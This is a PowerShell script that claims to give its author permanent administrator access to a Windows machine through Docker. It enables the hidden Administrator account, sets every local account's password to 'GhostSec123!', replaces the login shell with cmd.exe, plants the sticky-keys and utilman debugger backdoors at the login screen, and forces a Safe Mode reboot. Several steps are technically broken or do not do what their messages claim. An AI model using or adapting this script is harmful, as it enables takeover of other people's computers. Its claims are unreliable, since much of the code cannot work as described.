SystemOverride.ps1

<#
.SYNOPSIS
    One day, I was in a bit of a bind, system locked down, no way in, passwords not set by me, and the machine wouldn't budge. But you know me, always ready with a backup plan. So, I wrote this PowerShell script, using Docker and a few crafty tricks to give myself permanent root access. Now I can always get in, no matter what goes wrong. This is for emergency use only. Don’t go fucking up anyone else's system with this. As tempting as it may be.
#>

function Check-NonRoot {
    $user = [System.Security.Principal.WindowsIdentity]::GetCurrent()
    $isAdmin = [System.Security.Principal.WindowsPrincipal]::new($user).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)

    if ($isAdmin) {
        Write-Host "Yo, no need for this script if you're root already. Exit out!" -ForegroundColor Red
        exit
    }
}

Check-NonRoot

function Check-Docker {
    if (-not (Get-Command docker -ErrorAction SilentlyContinue)) {
        Write-Host "Docker is not installed. Install Docker before running this script." -ForegroundColor Red
        exit
    }

    $dockerService = Get-Service -Name "com.docker.service" -ErrorAction SilentlyContinue
    if ($null -eq $dockerService -or $dockerService.Status -ne 'Running') {
        Write-Host "Docker isn’t running. Starting Docker for you..." -ForegroundColor Yellow
        Start-Service -Name "com.docker.service"
        Start-Sleep -Seconds 5
        $dockerService = Get-Service -Name "com.docker.service"
        if ($dockerService.Status -ne 'Running') {
            Write-Host "Docker still won’t start. You’ll need to fix that manually." -ForegroundColor Red
            exit
        }
        Write-Host "Docker’s up and running. Let’s roll!" -ForegroundColor Green
    }
}

Check-Docker

function Docker-Mount {
    Write-Host "[+] Mounting system files via Docker..." -ForegroundColor Green
    docker run --rm -it --privileged -v C:\:/mnt windows /bin/sh -c "cmd.exe"
}

Docker-Mount

function Enable-AdminAccount {
    Write-Host "[+] Enabling hidden Administrator account..." -ForegroundColor Green
    docker exec -it windows net user Administrator /active:yes
    Write-Host "[+] Administrator account enabled. You now have the keys to the kingdom!" -ForegroundColor Green
}

Enable-AdminAccount

function Reset-UserPassword {
    Write-Host "[+] Resetting user passwords to 'GhostSec123!'" -ForegroundColor Green
    $users = Get-WmiObject Win32_UserAccount | Where-Object { $_.LocalAccount -eq $true }
    foreach ($user in $users) {
        docker exec -it windows net user $user.Name "GhostSec123!" /add
        Write-Host "[+] Password reset for: $($user.Name). You’re good to go." -ForegroundColor Cyan
    }
}

Reset-UserPassword

function Grant-RootAccess {
    Write-Host "[+] Granting permanent root access..." -ForegroundColor Green
    docker exec -it windows reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe," /f
    docker exec -it windows reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe" /f
    docker exec -it windows reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 1 /f
    Write-Host "[+] Root access granted. You’re in control now." -ForegroundColor Green
}

Grant-RootAccess

function Modify-Registry {
    Write-Host "[+] Modifying registry for CMD at login screen..." -ForegroundColor Green
    docker exec -it windows reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "cmd.exe" /f
    docker exec -it windows reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\system32\userinit.exe,cmd.exe" /f
    Write-Host "[+] Registry updated to always launch CMD. You’re now the system overlord." -ForegroundColor Green
}

Modify-Registry

function Enable-SafeMode {
    Write-Host "[+] Enabling Safe Mode with Networking..." -ForegroundColor Green
    docker exec -it windows bcdedit /set {current} safeboot network
    Write-Host "[+] Safe Mode enabled. System will boot into Safe Mode on the next restart." -ForegroundColor Cyan
    Restart-Computer -Force
}

Enable-SafeMode

function Enable-CMD {
    Write-Host "[+] Enabling CMD at login screen..." -ForegroundColor Green
    docker exec -it windows reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
    docker exec -it windows reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "cmd.exe" /f
    Write-Host "[+] CMD is now accessible from the login screen. Just hit SHIFT five times!" -ForegroundColor Cyan
}

Enable-CMD

Write-Host "[+] Everything’s done. The system’s now under your control. Reboot and you should be able to log in with 'GhostSec123!' or access via CMD. Enjoy the power, and don’t be a piece of shit." -ForegroundColor Cyan